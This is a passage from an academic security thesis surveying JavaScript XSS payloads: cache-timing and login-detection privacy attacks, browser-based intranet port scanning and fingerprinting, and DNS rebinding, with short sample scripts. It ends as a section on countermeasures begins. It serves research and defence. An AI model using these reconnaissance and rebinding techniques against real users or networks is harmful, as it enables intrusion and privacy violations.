of the targeted site (http://company.com/logo.jpg) into its DOM tree, causing the
web browser to request the image. Before its actual inclusion in the web page, the
image-element is outfitted with an onload-eventhandler to measure the time that the
inclusion process takes. If the victim has been to the respective site in the last days, the
image is still in the browser’s cache, resulting in a very short loading time. If not, the
image has to be retrieved over the internet, causing a significant longer loading process.

76
 5.2. Fingerprinting and privacy attacks

By measuring and matching the loading time against a certain threshold the attacker
can conclude if the image is in the browser’s cache and, thus, whether the victim has
been to the targeted web site.

Assessing the contents of non-cacheable pages

In 2007 Bortz et al. [23] extended Felten’s technique towards non-cacheable web-objects.
Their technique is based on the observation that the time required to finish an HTTP
request depends on two factors: the time it takes to deliver the content over the internet
and the time the web server consumes to create the content. While the first factor is
mostly constant for a given network location, the second factor depends on the actual
query. A request for a static element (like a predefined image) can be computed by
the web server in a very short time. However, if business logic and database queries are
involved, the time to create the response’s HTML document differs heavily in dependence
to the page’s final content.
Using this observation, Bortz et al. introduced cross-site timing attacks which employ
a technique related to the BRA (see Sec. 3.3) to time the loading process of web pages.
Their technique is based on dynamically creating a hidden img-tag that points to the
targeted web page. This image-element is outfitted with an onerror-eventhandler which
is triggered as soon as the first data-chunk is received by the browser, as instead of image-
data the response consists of HTML code. By measuring the time-difference between the
actual image-creation process and the occurrence of the onerror-event, the loading-time
of the web page can be measured.
Furthermore, the described technique requires two timing sources in order to factor
out the timing overhead that is introduced by the network. For this reason, first a
request to a static element of the targeted web site is created. Such an element could be,
for example, an image or a 404 error page. As for such elements almost no processing
time is required by the respective web server, the time to load the element is roughly
equal to the network-induced overhead. Therefore, the result of this step can be used for
future reference. The second request is aimed at the actual target of the privacy attack.
By calculating the difference between the prior obtained reference value and the time
it took to complete the loading process, an estimate of the server-side computing time
can be obtained. Using this technique, Bortz et al. showed the possibility to determine,
e.g., if a given browser is logged into a given web application, or how many items are
currently contained in the user’s shopping cart of a given online-retail store.

Precision of timing attacks

The precision of browser-based timing attacks is limited by the precision of the employed
timing-functions. JavaScript provides the Date()-object. This object’s smallest unit of
time is a millisecond, thus setting an according lower bound for the precision of attacks
that are written completely in JavaScript. However, Java’s timing-function nanoTime()
provides a timer that returns time to the nearest nanosecond. Meer and Slaviero dis-
cussed in [180] how this timer can be used within JavaScript timing attacks, utilizing

77
 5. XSS Payloads: Browser and Computer Context

either a special purpose JavaApplet or the LiveConnect-feature [190].

5.2.3. BRA-based privacy attacks

In addition to CSS- and timing-based attacks, several privacy attacks which utilize the
BRA (see Sec. 3.3.3) have been documented.

Establishing if the user is currently logged into a given web application

Using a variation of the BRA, Grossman [86] discussed a method to disclose whether the
web browser possesses valid authentication credentials (for instance session cookies or
http-authentication information) for a given web application: The basis of the attack is
to test a browser’s capability to load a web page that is only accessible to authenticated
users.
The attack utilises advanced error-handling which is provided by modern JavaScript
interpreters. In the case of an error within a JavaScript, the window.onerror-event
provides limited access to the JavaScript error-console by communicating a short error-
message, the URL of the triggering script, and a numeric error code. This additional
information can be employed for fingerprinting purposes. By attempting to load an
HTML page into a script-tag by using the page’s URL in the tag’s src-attribute,
inevitably a JavaScript parsing error is triggered, as the included data is HTML-code
and cannot be parsed by the JavaScript interpreter. Furthermore, depending on the
authenticated state of the requesting entity, a web application responds to a request for
a restricted resource with different HTML content (either with the requested page or
alternatively with an error page / a login form). In many cases different HTML code
leads to distinct parsing errors. Therefore, a malicious script can, by intercepting the
error-code and messages, differentiate between parse errors triggered by either response
and, thus, determining whether the browser’s user is currently logged into the application
(see Listing 5.3).
1 < script >
2 function err ( msg , url , code ) {
3 if (( msg == " missing } in XML expression " ) && ( code == 1)) {
4 // logged in
5 } else if (( msg == " syntax error " ) && ( code == 3)) {
6 // not logged in
7 }
8 }
9 window . onerror = err ;
10 </ script >
11
12 < script src =" http :// webapp . org " > </ script >

Listing 5.3: JavaScript login checker [90]

In addition, Robert Hansen discussed accessing restricted images for the same purpose
[97]. Some web applications grant or deny access to resources like images depending on
the user’s authenticated state. By employing the BRA to verify whether the images are
accessible or not, the malicious script can conclude if the user is currently logged into
the application.

78
 5.2. Fingerprinting and privacy attacks

Finally, Chess et al. documented in [37] how the responses of cross-domain requests
for JSON-data [48] which were generated using the script-tag can be obtained by
overwriting global JavaScript prototypes.

Browser and local machine fingerprinting

Various local resources provided either by the local machine or the web browser are
accessible by specialized URL-schemes, such as file://, chrome://, or res://. In late
2006 and 2007 several techniques have been discussed that employ these URL-schemes to
gather information concerning the malicious JavaScript’s local execution environment.
The majority of these attacks is based on the BRA. By dynamically including a cross-
protocol resource in a webpage and intercepting onload- and onerror-events, certain
characteristics of the local context might be disclosed. More specifically it has been
shown how to:

• compile a list of installed Firefox extensions using chrome-URLs [96],

• establish which software is installed on the local machine using res-URLs [179],

• execute a dictionary attack to disclose Windows user accounts [264] or drive

names [149],

• read Firefox settings [265],

• and check the existence of local files using the file-handler [238]

As special-purpose URL-schemes are often treated differently by the various web

browser, most of these techniques only work if a certain execution environment (defined
by browser, browser version, and operating system) is given, thus limiting the respective
attack vector to a subset of browsers or operating systems. Furthermore, many of these
issues can be regarded rather as implementation faults than fundamental flaws rooted
in the web-paradigm and thus should be resolved in the near future. For these reasons,
a further discussion of these techniques is omitted in this thesis.

79
5. XSS Payloads: Browser and Computer Context

80
6. XSS Payloads: Intranet and Internet
Context
This chapter documents JSDAs which are located within the intranet and internet
execution-contexts. We combine the two contexts in one chapter as the adversary’s
capabilities and limitations are very similar in both execution-contexts (see Sec. 3.4).

6.1. Intranet reconnaissance and exploitation

6.1.1. Using a webpage to execute code within the firewall perimeter
As discussed in Section 1.2.1, with the term browser-level authentication tracking we
denote authentication mechanisms, that do not require further interaction after the
initial authentication step. For example, the way HTTP authentication is implemented
in modern browsers requires the user to enter his credentials for a certain web application
only once per session. Every further request to the application’s restricted resources is
outfitted with the user’s credentials automatically.
Furthermore, with the term transparent browser-level authentication we denote au-
thentication mechanisms that also execute the initial authentication step in a way that
is transparent to the entity that is being authenticated. For example, NTLM authen-
tication [80] is such an authentication mechanism for web applications. Web browsers
that support the NTLM scheme obtain authentication credentials from their underlying
operating system. These credentials are derived from the user’s operating system login
information. In most cases the user does not notice such an automatic authentication
process at all.

The firewall as a means for authentication

Especially in the intranet context, transparent browser-level authentication is used fre-
quently. This way the company makes sure that only authorized users access restricted
resources without requiring the employees to remember additional passwords or execute
numerous, time-consuming authentication processes on a daily basis.
A company’s firewall is often used as a means of transparent browser-level authenti-
cation: The intranet servers are positioned behind the company’s firewall and only the
company’s staff has access to computers inside the intranet. As the firewall blocks all
outside traffic to the server, it is believed that only members of the staff can access these
servers. For this reason, intranet servers and especially intranet web servers are often
not protected by specific access control mechanisms. For the same reason intranet ap-

81
6. XSS Payloads: Intranet and Internet Context

plications often remain unpatched even though well known security problems may exist
and home-grown applications are often not audited for security problems thoroughly.

JavaScript code execution within the intranet context

Many companies allow their employees to access the WWW from within the company’s
network. Therefore, by constructing a malicious webpage and succeeding to lure an
unsuspecting employee of the target company into visiting this page, an attacker can
create malicious script code that is executed in the employee’s browser. As discussed in
Section 3.3.3 current browser scripting technologies allow certain cross-protocol, cross-
domain, and cross-host operations that can be used for reconnaissance attacks.
The employee’s browser is executed on a computer within the company’s intranet and
the employee is in general outfitted with valid credentials for possibly existing authen-
tication mechanisms. Consequently, any script that runs inside his browser is able to
access restricted intranet resources with the same permissions as the employee would
(see Figure 6.1).

Malicious host Firewall Intranet Server

(200.200.200.200) (10.10.10.10)

Figure 6.1.: Using a webpage to access restricted web servers

6.1.2. Intranet reconnaissance attacks

This section documents various techniques that aim to collect information concerning a
given intranet.

Portscanning the intranet

It was shown by various parties [160, 91] how malicious web pages can use indirect
communication to port-scan the local intranet. While the discussed techniques slightly
differ, they all are variants of the BRA (see Sec. 3.3.3):

1. The script constructs a local HTTP URL that contains the IP-address and the
port that shall be scanned.

2. Then the script includes an element in the webpage that is addressed by this URL.
Such elements can be e.g., images, iframes or remote scripts.

3. Using JavaScript’s time-out functions and eventhandlers as discussed in Section

3.3.3 the script can decide whether the host exists and the given port is open: If

82
 6.1. Intranet reconnaissance and exploitation

a time-out occurs, the port is probably closed. If an onload- or onerror-event

happens, the host answered with some data, indicating that the host is up and is
listening on the targeted port.

Limitation: Some browsers like Firefox enforce a blacklist of forbidden ports [214]
that are not allowed in URLs. In this case JavaScript’s port scanning abilities are limited
to ports that are not on this list. Other browsers like Safari allow access to all ports.

Selecting potential attack targets

To launch such an discovery attack, the malicious script needs to have knowledge about
possible reconnaissance targets. Such knowledge can either be the intranet’s IP-range
or the internal DNS names of local hosts.

• IP discovery with Java:

In the case that the local IP-range is unknown to the attacker, he can use the
browser’s Java plug-in to obtain the local IP-address of the computer that currently
executes the web browser which is vehicle of the attack.
Unlike JavaScript, the Java plug-in provides low-level TCP and UDP sockets.
The target address of network connections opened by these sockets is restricted
by Java’s version of the Same Origin Policy which only allows connections to
the IP address from which the Java applet was originally received. After being
instantiated, a Java Socket-object contains full information about the connection
including the IP addresses of the to connected hosts. Thus, by creating a socket
and using the socket-object’s API, the browser’s local IP address can be read by
a Java-applet [147] and subsequently exported two the JavaScript scope.
Additionally, Mozilla based and Opera web browser allow JavaScript to directly
instantiate Java objects using the LiveConnect-feature [190]. This removes the
attacker’s necessity to provide a separately hosted Java applet, thus allowing more
self-contained attacks:
1 function natIP () {
2 var w = window . location ;
3 var host = w . host ;
4 var port = w . port || 80;
5 var Socket = ( new java . net . Socket ( host , port ))
6 . g e t Lo c a l A d d re s s (). ge tH ost Ad dr ess ();
7 return Socket ;
8 }

Listing 6.1: Obtaining the local IP address

• DNS brute-forcing:
In the case that the execution of Java content is disabled in the attacked web
browser, the adversary can resort to brute-forcing internal DNS names. Robert
Hansen documented in [98] that many companies employ the same DNS server
to resolve both their external and their internal hostnames (see Listing 6.2). The
attacker can either try to obtain the full list of DNS entries using a zone transfer or

83
6. XSS Payloads: Intranet and Internet Context

<img src=“http://10.10.10.10”>

onload()/onerror()/timeout()-events,

Host / URL exists Intranet Server (10.10.10.10)

Firewall
Possible attacks:
- Ping Sweep
- Port Scan
- Server Fingerprinting
- URL based exploits

Malicious host

Figure 6.2.: Web page based reconnaissance of the intranet

by brute-forcing well known names for intranet servers (e.g., intranet.company.

com; [99] list more than 1500 of possible hostnames). If such external lookups for
internal servers is possible, the attacker can gain knowledge on the IP-range used
in the intranet this way.

1 ...
2 10.0.1.10 intranet . godaddy . com
3 10.210.136.22 internal . iask . com
4 10.25.0.31 intranet . joyo . com
5 10.30.100.238 intranet . shopping . com
6 10.50.11.131 intranet . monster . com ...
7 ...

Listing 6.2: Misconfigured DNS servers leaking internal IP addresses [98]

If the respective company does not leak the internal IP-range through misconfig-
ured DNS servers, the attacker can use the list of known DNS names to test if
the targeted intranet contains hosts that are assigned to one of these names. To
do so, the malicious JavaScript has two options: It can either employ a series of
BRAs using the guessed internal domain names as part of the URL (i.e., testing
if a host assigned to http://intranet exists). Alternatively the script can check
if any of the domain names is contained in the browser’s history using any of the
techniques discussed in Sections 5.2.1, 5.2.1, or 5.2.2. Both methods do not suffice
to directly leak the actual IP-range to the attacker. However, using these meth-
ods the attacker might identify possible targets for further attacks in the intranet.
Furthermore, in certain cases the existence of certain internal domain names pro-
vides strong indications for the employed IP-range. For instance, the home router
“Fritz Box” [13] introduces the domain name fritz.box to the intranet pointing
to the router’s admin interface. By using the BRA to test for http://fritz.box
the attacker is able to learn that a Fritz Box is used in the examined intranet and
based on the knowledge can guess the used IP-range to be equal or close to the
default range used by this specific router (e.g., 192.168.172.0/24).

84
 6.1. Intranet reconnaissance and exploitation

Fingerprinting of intranet hosts

After determining available hosts and their open ports, a malicious script can try to use
fingerprinting techniques to get more information about the offered services. Again, the
script has to work around the limitations that are posed by the SOP. Consequently, the
fingerprinting method resembles closely the port-scanning method that was described
above [160, 91].
The basic idea of this technique is to request URLs that are characteristic for a specific
device, server, or application. If such a URL exists, i.e., the request for this URL
succeeds, the script has a strong indication about the technology that is hosted on the
fingerprinted host. For example, the default installation of the Apache web server creates
a directory called “icons” in the document root of the web server. This directory contains
image files that are used by the server’s directory listing functionality. If a script is able
to successfully access such an image for a given IP-address, it can conclude that the
scanned host runs an Apache web server. The same method can be used to identify web
applications, web interfaces of network devices or installed scripting languages (e.g., by
accessing PHP eastereggs).

Avoiding and brute-forcing HTTP authentication

If during the reconnaissance step the malicious JavaScript encounters a resource that is
protected by HTTP authentication to which the browser not currently possesses valid
credentials, the web browser displays an authentication dialogue. This discloses the
ongoing attack and alarms the victimised browser’s user that something unusual is going
on.
In [63] Esser documented a method that can be employed by the attacker to suppress
such authentication pop-ups. Esser’s technique is based on the creation of malformed
HTTP URLs. If such an URL is sent to the web server, the server identifies the error in
the URL before determining the addressed resource. Therefore, the server does not map
the URL to a hosted resource and does not recognise that a HTTP authentication dia-
logue should have been trigger: Instead of replying with a “401 Authorization Required”
status code, the server responds with “400 Bad Request”. Esser documented two ways to
create such URLs that work with most web servers: Either incomplete URL entities (e.g.,
http://10.10.10.10/%) or overly long URLs (e.g., http://10.10.10.1/AAA...AAA)
that exceed the server’s restrictions on URL size. Using Esser’s method, the adversary
is still able to determine whether the host in question exists. However, determining if
the examined IP hosts a web server and using the fingerprinting technique detailed in
Section 6.1.2 do not work in combination with this evading method, as these techniques
require valid HTTP responses.
Additionally, Esser demonstrated [62] how Firefox’s link-tag can be abused to exe-
cute brute-force attacks on URLs that are protected by HTTP authentication. As the
content that is requested through link-tags is regarded as optional by the browser, the
tag does not initiate authentication pop-ups if it encounters a 401 response. Further-
more, the rendering process of the page halts until the request that was initiated by the

85
6. XSS Payloads: Intranet and Internet Context

link-tag has terminated. Thus, by using the http://username:password@domain.tld-

scheme the attacker can iterate through username/password-combinations and measure
his success using the timing attacks that were discussed in Section 5.2.2.

Technical Limitations of reconnaissance attacks

As employing the BRA for reconnaissance purposes depends on the usage of timeout-
events, any attack in this class is subject to throughput-limitations induced by the
timing-induced overhead. While detecting existing resources takes only a very short
amount of time, probing a non-existing resource requires at minimum the full timeout-
period. As the precision of the attack is related to the length of the chosen timeout-
period, the attacker has to decide between speed and accuracy.
A series of reconnaissance probes can be accelerated by parallelising the requests, e.g.,
by creating several hidden image-elements at the same time. However, the operating
systems and web browsers enforce various limitations in respect to parallel connections.
For instance, Windows XP/SP2 does not allow more than 10 outstanding connections at
the same time and the Firefox web browser only permits a maximum of 24 simultaneous
established connections.
Lam et al. [162] documented that in their experiments they were able to achieve
maximum scanning rates between approximately 60 scans/min (Windows XP SP2) and
600 scans/min (Linux). In addition, Grossman et al. discussed in [90] that JavaScripts
stop-function can be used to terminate outstanding connections in order to speed up
the scanning process.

6.1.3. Local CSRF attacks on intranet servers

After discovering and fingerprinting potential victims in the intranet, the further attack
can take place utilizing state-changing HTTP requests (see Sec. 3.3.2). A malicious
JavaScript has for instance the following options:

• Exploiting unpatched vulnerabilities: Intranet hosts are frequently not as

rigorously patched as their publicly accessible counterparts as they are believed to
be protected by the firewall. Thus, there is a certain probability that comparatively
old exploits may still succeed if used against an intranet host. A prerequisite for this
attack is that these exploits can be executed by the means of a web browser [91].

• Opening networks: Numerous devices such as routers, firewall appliances or

DSL modems employ web interfaces for configuration purposes. Not all of these
web interfaces require authentication per default and even if they do, the stan-
dard passwords frequently remain unchanged as the device is only accessible from
within the “trusted“ internal network. If a malicious script was able to successfully
fingerprint such a device, there is a certain probability that it also might be able to
send state changing requests to the device. In this case the script could e.g., turn
of the firewall that is provided by the device or configure the forwarding of certain
ports to a host in the network, e.g., with the result that the old unmaintained

86
 6.2. DNS rebinding attacks on intranet hosts

Windows 98 box in the cellar is suddenly reachable from the internet. Thus, using
this method the attacker can create conditions for further attacks that are not
limited to the web browser any longer [91].

• Reconfiguring home routers: Furthermore, Stamm et al. documented in [246]

that by changing the device’s DNS settings via local CSRF, the attacker can initiate
a persistent “drive-by pharming” attack.

6.1.4. Cross protocol communication

Based on [256], Wade Alcorn showed in [4, 5] how multi-part HTML forms can be em-
ployed to send (semi-)valid messages to ASCII-based protocols. Prerequisite for such an
attempt is that the targeted protocol implementation is sufficient error tolerant, as every
message that is produced this way still contains HTTP-meta information like request-
headers. Alcorn exemplified the usage of an HTML-form to send IMAP3-messages to
a mail-server which are interpreted by the server in turn. Depending on the targeted
server, this method might open further fingerprinting and exploitation capabilities.

6.2. DNS rebinding attacks on intranet hosts

This section discusses how DNS rebinding attacks (see also Section 3.3.4) can be used
by the adversary in the context of intranet targets. Furthermore, we document real-life
DNS rebinding issues that have been disclosed to the public1 .
While the root cause of DNS rebinding is a fundamental flaw of the SOP (coupling
security characteristics with DNS entries), the current practice is to treat it as a im-
plementation flaw of the web browser or browser plug-in. Consequently, some of the
documented issues might be eventually resolved by enforcing stricter DNS pinning (see
Sec. 3.3.4) or similar countermeasures.
Note: We discuss this attack class within the intranet attack-context. As listed in
Section 3.4 this attack class exists also within the computer attack-context. However,
we chose to position the detailed attack documentation in this section, as the attack
surface and impact is significantly larger in this context.

6.2.1. Leaking intranet content

As discussed in Section 1.3.1, the SOP should prevent read access to content hosted on
cross-domain web servers. In 1996 [237] showed how short lived DNS entries can be used
to weaken this policy.
Example: Attacking an intranet host located at 10.10.10.10 would roughly work like
this (see also Figures 6.3.A to 6.3.C):
1
The here documented DNS rebinding attacks depend on specifics and flaws of the browser and plug-
in implementations which were current at the time the issues were initially reported. Some of the
discussed issues have been fixed in the meantime.

87
6. XSS Payloads: Intranet and Internet Context

1. The victim downloads a malicious script from www.attacker.org (see Figure

6.3.A)

2. After the script has been downloaded, the attacker modifies the DNS answer for
www.attacker.org to 10.10.10.10

3. The malicious script requests a web page from www.attacker.org (e.g via loading
it into an iframe)

4. The web browser again does a DNS lookup request for www.attacker.org, now
resolving to the intranet host at 10.10.10.10

5. The web browser assumes that the domain values of the malicious script and the
intranet server match. Thus, the SOP is satisfied and browser grants the script
unlimited access to the intranet server. (see Figure 6.3.B)

Using this attack, the script can access the server’s content (see Figure 6.3.C). With
this ability the script can execute refined fingerprinting, leak the content to the outside
or locally analyze the content in order to find further security problems.

6.2.2. Breaking the browser’s DNS pinning

As mentioned above (see Sec. 3.3.4), “DNS pinning”, the permanent mapping between
a DNS entry and an IP address for the livetime of the browser session, is employed to
counter DNS rebinding problems.
While in general DNS pinning is an effective countermeasure against such an attack,
unfortunately there are scenarios that still allow the attack to work: Josh Soref has shown
in [245] how in a multi session attack a script that was retrieved from the browser’s cache
still can execute this attack. Furthermore, we have shown in [124] that current browsers
are vulnerable to breaking DNS pinning by selectively refusing connections: After the
DNS rebinding took place, the attacker’s web server refuses connection attempts from
the victim. These failed connections cause the web browser to renew its DNS information
for the respective domain, thus receiving the new mapping.
Following our disclosure, Kanatoko [141] found out that many browsers also drop
their DNS pinning when the browser tries to access a closed port on the attacker’s host.
Thus, dynamically requesting an image from http://attacker.org:81 is sufficient to
propagate the new DNS information to the browser. See [113] for a full list of the
different browser’s pinning implementation which was compiled late 2007.
Additionally, Stuttard [247] pointed out that the web browser’s DNS pinning does
not apply when a web proxy is being used, because in this situation DNS resolution is
performed by the proxy, not the browser. As he documented, until now none of the
widely deployed web proxies take DNS rebinding attacks into account, thus rendering
any browser-based countermeasures useless.

88
 6.2. DNS rebinding attacks on intranet hosts

h*p://a*acker.org/foo.html 
10.10.10.10

Firewall 

200.200.200.200 = attacker.org

A. Payload delivery

h*p://a*acker.org/index.html 

10.10.10.10 = attacker.org

Firewall 

a*acker.org == a*acker.org 
⇒ The SOP is safisfied 

200.200.200.200

B. DNS rebinding step

10.10.10.10 = attacker.org
Contents of the server 
Firewall 

a1acker.org == a1acker.org 
⇒ The SOP is safisfied 

200.200.200.200

C. Information leakage

Figure 6.3.: DNS rebinding attack

89
6. XSS Payloads: Intranet and Internet Context

6.2.3. Further DNS rebinding attacks

In this section, for completeness sake, we briefly document disclosed DNS rebinding
issues which were found in connection to browser plug-ins such as Java or Flash. While
this thesis deliberately focuses on JavaScript attacks (see Sec. 3.2), we herewith widen
the extend of the discussion slightly because most of the documented attacks exist in
close relations to the respective JavaScript payloads.

DNS rebinding and Java

As detailed above, DNS rebinding attacks were originally invented to undermine the
SOP of Java applets [237]. For this reason, the JVM introduced strict DNS pinning in
1996 [194]. The JVM maintains its own DNS pinning table that is populated separately
from the browser’s internal pinning table. This table is kept for the complete livetime of
the JVM-process. However, several approaches to undermine the JVM’s DNS pinning
mechanism have been disclosed recently:

• LiveConnect: As explained in Section 6.1.2, some web browsers allow JavaScript

to directly instantiate Java objects using the LiveConnect-feature [190]. If a net-
working object like a socket is created this way, the JVM immediately initiates a
DNS query to pin the object to the document’s origin. We have shown [131] that if,
at this point, the DNS setting for the respective domain already has been rebound
to the internal address, the JVM pins the object to the internal IP address. This
way the attacker is able to employ Java objects that are available through Java’s
standard library in his attack.

• Java applets and proxies: David Byrne [28] documented that in cases where
the browser and the JVM are configured to use an outbound HTTP proxy, the
JVM can be tricked into pinning the internal IP address:

1. The victim’s web browser tells the proxy to load a web page using the URL
http://attacker.org/index.html.
2. The proxy queries the adversary’s DNS server for the IP address of attacker.
org.
3. The DNS server replies with the server’s address (e.g., 200.200.200.200).
4. The proxy retrieved the web page and passes it on to the browser.
5. The web page contains an embedded Java applet which is hosted at http:
//attacker.org/bad.class.
6. The browser’s rendering engine encounters the applet-element and instanti-
ates the JVM with the applet’s URL.
7. The JVM queries the attacker’s DNS server for attacker.org’s IP address,
bypassing the proxy.
8. The DNS servers replies to this second request with the internal IP address
(e.g., 10.10.10.10), which is pinned by the JVM.

90
 6.2. DNS rebinding attacks on intranet hosts

9. Then, the JVM initiates the retrieval of the applet’s code. However, as the
JVM is configured to use the HTTP proxy, the applet itself is requested by
the proxy which still uses the server’s original IP address.

The result of this series of events is that the applet which was retrieved by the proxy
from 200.200.200.200 is pinned by the JVM to 10.10.10.10, thus enabling the
attacker to use it as part of his rebinding attack.

• Cached Java applets: To minimise loading times, the JVM maintains a cache
of previously loaded applets. In this cache the applets are stored accordingly to
the respective HTTP expires-header. In addition to the applet itself, the cache
also contains the applet’s original URL. Only if an applet is requested from the
exact same URL, the cached version of the applet will be used.
Billy K. Rios has documented how this behaviour can be exploited in a multi
session attack [220]: For this method to work, the victim has to be tricked twice
into executing the malicious code. The first time the code solely loads the applet
from attacker.org using the server’s real IP address. This process only serves
the purpose to store the applet in the JVM’s cache. After the applet has been
delivered, the attacker changes the DNS mapping of attacker.org to point to the
targeted internal address. If, in a new browser session, the victim visits again a
page that is controlled by the attacker, the malicious code dynamically includes the
applet in the page using the exact same URL as in the attack’s first step. As the
URL matched the cache entry, the applet is retrieved from the cache. However, as
the cache only contains the URL but not the actual IP address, the JVM queries
the attacker’s DNS server for the IP of attacker.org and consequently pins the
applet to the internal address.
In addition, Rios discussed that the same behaviour might be triggered either
by loading new JVM instances through URL handlers (like picassa://) or by
enforcing the execution of the applet using a different Java version (a capability
that Sun intends to disable in the future) [220].

Attack capabilities provided by Java Java provides full TCP and UDP socket con-
nections to the targeted host. This can be used for, e.g., port-scanning, fingerprinting
of non-HTTP services, or communication using arbitrary protocols. In cases where the
network services of the targeted intranet host are not fully patched, the adversary could
use arbitrary, well known exploits to, e.g., trigger buffer overflow vulnerabilities.
Furthermore, as Rios pointed out [220], the availability of mature Java libraries for
virtually every purpose enables the adversary to easily and quickly create attack code
that targets non-trivial or obscure network services.

DNS rebinding and Flash

Kanatoko [142] demonstrated, that the Flash player plug-in is also susceptible to DNS
rebinding attacks. The Flash player does neither inherit the browser’s pinning table nor

91
6. XSS Payloads: Intranet and Internet Context

implements DNS pinning itself. Like Java applets, the Flash player’s scripting language
ActionScript supports low level socket communication, thus extending the adversary’s
capabilities towards binary protocols. Using this capability non-HTTP attacks like full
portscans on the intranet or accessing binary protocols are possible. Using the capa-
bilities, Thai N. Duong [55] demonstrated how to uses a malicious Flash file to run a
TCP socket relay in the victim’s browser. Using a similar approach, Kaminsky [138] was
able to tunnel arbitrary TCP protocols into the internal network. He exemplified this
capability by running Nessus-scans on intranet hosts.
In order to evaluate the attack surface, Jackson et al. ran a Flash 9 advertisement
on a minor advertising network. Within three days they temporarily compromised more
than 25.000 internal networks while paying less than 50 USD [113].

6.3. Selected XSS Payloads in the internet context

It has also been discussed how active client-side content could be employed to attack
third parties. In such cases the victims web browser is misused by the adversary as an
attack proxy. This way the attack’s real origin can be obfuscated as the actual network
connections come from the hijacked browser’s IP address.
This topic has received comparatively little attention in the past. The reason for this
is twofold: For one, the capabilities provided by a web browser for malicious purposes
(see Sec. 3.3) are still rather obscure and under estimated. In addition, it is still unsolved
how to address this class of attacks.
We discuss three selected techniques in this section to illustrate the adversary’s capa-
bilities in this execution-context. We anticipate this class of attacks to gain momentum
in the future, especially since Jackson et al. have demonstrated in [113] that distributing
malicious client-side code through online-advertisement can provide the adversary with
means comparable to a mid-sized botnet.

6.3.1. Scanning internet web applications for vulnerabilities

With the birth of the so called “Web 2.0” phenomena, various web applications started to
offer services that can be included seamlessly into other web pages. In many cases, these
services are realized through cross-domain script-tags that in turn invoke pre-defined
callback functions [185]. Other services transfer various cross-domain content into one
single domain, thus allowing cross-domain interaction. Hoffman [106] demonstrated how
victimized web browsers can abuse such services to scan third party web applications
for XSS vulnerabilities. Instead of relying on DNS rebinding in order to establish cross-
domain read/write HTTP connections, they employ Web 2.0 services which provide
access to arbitrary cross-domain web content.
In his example, Hoffman used “Google Translate” [81], a service that offers to trans-
late complete web pages from one natural language into another one while preserving
the page’s HTML markup and active client-side content. The service is invoked by pro-
viding an URL to the web page that is supposed to be translated and then provides
the translation result hosted on the service’s domain. The adversary first requests the

92
 6.3. Selected XSS Payloads in the internet context

translation of a page that contains his malicious JavaScript. This way the script runs
on a webpage that belongs to the translation service’s domain. Then the script itself
requests the translation of a page belonging to the target site. As the result of this
translation again is hosted on the service’s domain, the malicious script gains complete
read access to the foreign page. This way, the adversary’s script can spider and analyse
complete web applications. The translation step does not interfere with the scripts pur-
pose, as the adversary is mainly interested in the web site’s structure which is defined
by its HTML markup. This way the script is able to identify potential insertion points
for XSS attacks and evaluate if these points indeed represent vulnerabilities.
As the adversary only uses a hijacked browser and a public available internet service
in his scan, the real source of the vulnerability scan is hidden effectively.

6.3.2. Assisting worm propagation

Lam et al. discuss in [162] how web browsers can be abused to aid the propagation of
worms that spread through vulnerabilities in web applications. Such vulnerabilities are
usually exploited by requesting specially crafted URLs. Therefore, the actual attack can
be executed by any web browser via CSRF.
In Lam et al.’s worm propagation model, a worm-infected web server adds the mali-
cious client-side code to all served web pages. This code then uses the web browsers that
have received the code to spread the worm further: First, the victimized web browsers
try to find vulnerable web servers using the BRA. If a potential attack target has been lo-
cated, the client-side script executes the attack by sending the exploit using JavaScript’s
indirect communication capabilities. Finally, the freshly infected web server also adds
the malicious payload to its own web pages, thus helping to spread the worm further.
Additionally, [162] shows how the resulting network of infiltrated web browsers can
be abused for distributed denial-of-service attacks.

6.3.3. Committing click-fraud through DNS rebinding

Payment models of online advertisement networks are based on the amount of visitors
that reach the advertised site through the respective ad. To counter naive fraud attempts,
online ads employ a random nonce as part of interaction between the promoted site and
the page that carries the advertisement. As the content of this nonce is protected by
the SOP, an adversary cannot create accountable clicks using CSRF.
However, as shown above, Java or Flash based DNS rebinding attacks allow socket
connections to arbitrary network connections. This enables browser-based cross domain
read/write HTTP connections to both sites - the sites that carry ads and the pro-
moted sites themselves. This capability empowers the attacker to initiate sophisticated
click-fraud attacks that go as far as simulating realistic click-through site access on the
advertised site. In [113] Jackson et al. exemplified how this way large scale rebinding
attacks can be used to commit lucrative and hard to detect click-fraud.

93
6. XSS Payloads: Intranet and Internet Context

94
 Part II.

Mitigating Cross-Site Scripting

Attacks

95
Outline
As motivated in Section 3.5, as long as XSS vulnerabilities occur frequently, a second line
of defense is required. Such defensive techniques can be provided by countermeasures
that specifically aim to mitigate the actions of a targeted XSS Payload type.
In this part, we propose novel countermeasures for three selected XSS Payloads types:
Session Hijacking (see Chapter 7), Cross-Site Request Forgery (see Chapter 8), and
attacks against intranet resources (see Chapter 9).
The content of this part pursues several objectives: For one, we aim to advance the
state of the art in respect to mitigating the selected XSS Payload types. Furthermore,
we target to gain insight about the potential shortcomings of the current web applica-
tion paradigm which enable the existence of the examined payload type. Finally, we
demonstrate the usage of our general methodology for systematical design of payload
specific mitigation strategies (see below).

Methodology
All countermeasures which are proposed in this part have been designed by utilizing
variants of the same general methodology:

• First, we thoroughly analyse the regarded XSS Payload type.

• Then, based on this systematical analysis, we isolate a set of minimal technical

capabilities which the adversary is required to posses for the payload to function.

• Finally, we investigate methods to deprive the attacker of these capabilities.

Using this method, we succeeded in developing countermeasures against all regarded

payload types.

97
98
7. Protection Against Session Hijacking

7.1. Concept overview and methodology

In this chapter we propose three complementary countermeasures against the described
session hijacking attacks of Section 4.1. Each of these countermeasures is designed to
disarm at least one of the in Sections 4.1.1 to 4.1.3 specified threats. The proposed
countermeasures were originally published in [123].
As session hijacking is an attack located within the application execution-context (see
Sec. 3.4), the proposed countermeasures take effect on the application level. Therefore,
they have to be implemented specifically for each web application for which the pro-
tection should be enabled. While being applicable both on the server-side (where the
web application is hosted) and on the client-side (where the XSS attack is executed), we
describe the countermeasures for a server-side implementation scenario. Additionally, in
